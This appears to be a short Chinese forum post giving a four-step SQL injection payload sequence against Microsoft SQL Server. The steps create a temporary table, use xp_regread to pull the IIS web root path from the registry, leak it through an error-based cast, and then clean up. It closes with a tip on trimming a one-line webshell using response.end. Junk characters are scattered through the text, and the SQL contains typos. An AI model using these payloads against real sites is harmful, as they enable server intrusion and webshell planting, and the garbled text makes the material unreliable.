1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表! U$ W8 }! m3 I0 J
- Q# J! d @3 {6 h
. k3 K& ?. U( y. j8 |* F
2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’-- 将网站目录插到表字段中
4 E! [" ~8 h( b, X' s) c* J/ z/ h7 z0 ]+ `$ ~, \% \- U; h
& t7 S8 E$ F$ b* k
3、and (select top 1 cast([data] as nvarchar(4000) char(124) from [jm_tmp] order by [data] desc)=0 ’//暴出字段+ f- I8 y- ?: U( d: L- D" H" B& O
, ?8 r$ c( n* V, [) t$ K. |7 z. S
" t4 N( e1 V* q$ O 4、drop table [jm_tmp]-- 删除此表。+ j0 Q; G7 }* j4 g
% E) ~2 A, o& T) o+ }; Q8 u7 J
0 ^% s x- S% x4 p# ^! d( f另附上备分专用一句话/ K* b# p9 q+ l! r1 x
加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小.
/ Z0 y! K0 D) ^; q" U' ~- K |